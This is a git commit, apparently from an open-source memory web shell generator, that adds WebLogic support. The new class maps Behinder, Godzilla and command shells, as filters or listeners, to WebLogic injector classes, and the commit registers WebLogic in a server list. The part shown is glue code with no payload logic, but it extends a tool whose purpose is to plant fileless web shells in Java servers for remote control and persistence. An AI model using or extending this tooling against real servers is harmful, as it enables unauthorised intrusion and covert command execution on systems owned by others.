feat: support weblogic filter listener (#5)

This commit is contained in:
ReaJason
2024-12-24 02:09:39 +08:00
parent b340b53357
commit b0e2e7469f
13 changed files with 1218 additions and 1 deletions
@@ -0,0 +1,44 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class WebLogicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
);
}
}
@@ -48,7 +48,7 @@ public enum Server {
/**
* WebLogic 中间件
*/
WebLogic(null),
WebLogic(new WebLogicShell()),
/**
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>